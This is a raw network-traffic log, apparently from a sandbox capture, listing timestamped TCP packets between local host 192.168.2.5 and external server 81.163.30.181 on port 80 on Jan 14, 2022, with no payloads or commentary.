Jan 14, 2022 21:06:07.019494057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019500971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019515991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019519091 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019537926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019553900 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019561052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019582033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019582987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019599915 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019606113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019615889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019629955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019638062 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019651890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019670963 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019674063 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019692898 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019696951 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019712925 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019720078 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019731045 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019742012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019751072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019762993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019768000 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019785881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019793034 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019808054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019818068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019829988 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019836903 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019851923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019855022 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019874096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019881010 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019895077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019901037 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019918919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019933939 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019939899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019961119 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019963026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019979000 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019985914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019995928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020006895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020015001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020029068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020032883 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020051956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020066023 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020073891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020095110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020097017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020114899 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020116091 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020136118 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020139933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020148993 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020164013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020172119 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020185947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020205021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020209074 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020231009 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020231009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020246983 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020252943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020262957 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020275116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020283937 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020297050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020299911 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020319939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020334005 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020342112 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020360947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020365000 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020375967 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020387888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020395994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020410061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020421028 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020431995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020443916 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020454884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020463943 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020476103 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020484924 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020498037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020504951 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020520926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020529032 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020544052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020549059 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020567894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020575047 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020591021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020600080 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020613909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020621061 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020637035 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020654917 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020658970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.020679951 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.020698071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084599018 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084631920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084655046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084676027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084676981 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084698915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084701061 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084724903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084743023 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084745884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084753990 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084769011 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084788084 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084789991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084810019 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084813118 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084825039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084836006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084860086 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084876060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084892988 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084899902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084914923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084917068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084934950 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084938049 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084954977 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084959984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084978104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.084983110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.084996939 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.085014105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088646889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088674068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088696003 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088707924 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088718891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088726044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088740110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088756084 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088763952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088783026 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088788033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088804007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088810921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088825941 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088833094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088846922 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088855028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088866949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088877916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088888884 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088900089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088908911 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088922977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088934898 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088944912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088957071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088968039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088979959 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.088989973 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.088996887 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089011908 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089023113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089032888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089040995 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089055061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089060068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089080095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089097023 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089101076 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089122057 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089124918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089143038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089148998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089158058 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089173079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089180946 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089196920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089206934 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089220047 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089224100 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089246035 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089268923 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089270115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089287043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089293003 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089307070 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089314938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089323997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089337111 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089349031 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089359045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089373112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089380026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089390039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089401960 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089415073 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089423895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089436054 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089447975 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089454889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089468956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089476109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089493990 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089504004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089515924 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089521885 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089538097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089554071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089561939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089581966 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089585066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089602947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089612007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089617014 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089638948 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089648008 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089660883 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089668989 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089684963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089700937 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089706898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089728117 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089728117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089745045 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089751959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089762926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089776039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089782953 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089798927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089808941 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089823008 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089828968 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089844942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089855909 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089884996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089893103 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089907885 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089917898 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089930058 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089940071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089951992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089963913 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089976072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.089983940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.089998960 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090018034 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090019941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090043068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090044022 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090059996 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090065956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090078115 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090087891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090100050 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090112925 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090120077 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090135098 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090152979 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090159893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090182066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090183020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090199947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090204000 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090218067 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090228081 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090235949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090249062 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090261936 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090272903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090281010 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090296030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090306044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090317011 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090326071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090337992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090348959 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090359926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090368032 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090379953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090384960 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090411901 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.090873957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.090914011 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100538015 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100567102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100581884 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100591898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100609064 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100616932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100625992 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100640059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100644112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100662947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100672007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100684881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100687981 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100708961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100716114 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100729942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100740910 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100754976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100759029 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100795984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100810051 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100831985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100843906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100855112 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100879908 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100883961 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100899935 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100914955 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100924015 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100944042 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100945950 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100965023 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100970984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.100986958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.100992918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101003885 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101016998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101023912 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101038933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101048946 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101061106 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101064920 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101082087 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101090908 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101104975 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101115942 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101126909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101134062 CET	49908	80	192.168.2.5	81.163.30.181
